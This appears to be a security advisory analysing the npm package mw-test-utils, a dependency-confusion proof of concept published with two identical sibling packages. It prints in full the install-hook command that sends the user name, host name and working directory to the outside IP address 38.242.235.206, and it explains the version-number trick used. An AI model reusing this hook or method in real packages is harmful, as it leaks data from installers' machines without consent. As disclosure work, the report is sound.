Malicious code in mw-test-utils (npm)

mw-test-utils was published to npm on 2026-10-27 from 06:56:36 UTC by the account amahrou1w, about one minute after npm's staged-publish placeholder 0.0.0-stage, in versions 1.0.0, 10.0.0, 10.0.1. The three packages mw-test-utils, mw-communication-client and mui-wrapper-x-date-pickers were published by the same account within eight minutes and are identical apart from the name. Each tarball has three files: index.js (module.exports = {}), README.md and package.json. The package has no repository, no functional code and no dependencies, and 1.0.0 is the latest version at the time of this report.

package.json declares a preinstall and a postinstall script, which npm runs on every install:

node -e "require('http').get('http://38.242.235.206/depconf/mw-test-utils/preinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeURIComponent(require('os').hostname())+'&p='+encodeURIComponent(process.cwd())).on('error',()=>{})"

The postinstall script is the same request with the path /postinstall. Each install therefore sends the user name, the host name and the working directory of the installing machine over plain HTTP to the IP address 38.242.235.206. The README and the package description call the package a dependency-confusion proof of concept for a bug bounty program and say nothing else is done; the code matches that description. The name is a dependency-confusion candidate for an internal package of the named company, and the version numbers 1.0.0 and 10.0.0 are chosen so that a loose version range resolves to the public package. Nothing is executed beyond the two HTTP requests, and no data other than the three values above is sent.

Tarball sha256: 1.0.0: 06a3870b3807b00636c95eea01b057c748dd908fe2677c5dbc05516519a08c56 10.0.0: 70cf433a26fee76da087163816b8e3d1939fee9650b1cc6bd0b02b70bba90d9e 10.0.1: 1dbbab093762b688298ca21abab34018a5988b9e9647e56ac72152a3b2c8a011

Analysis was static only; nothing was executed.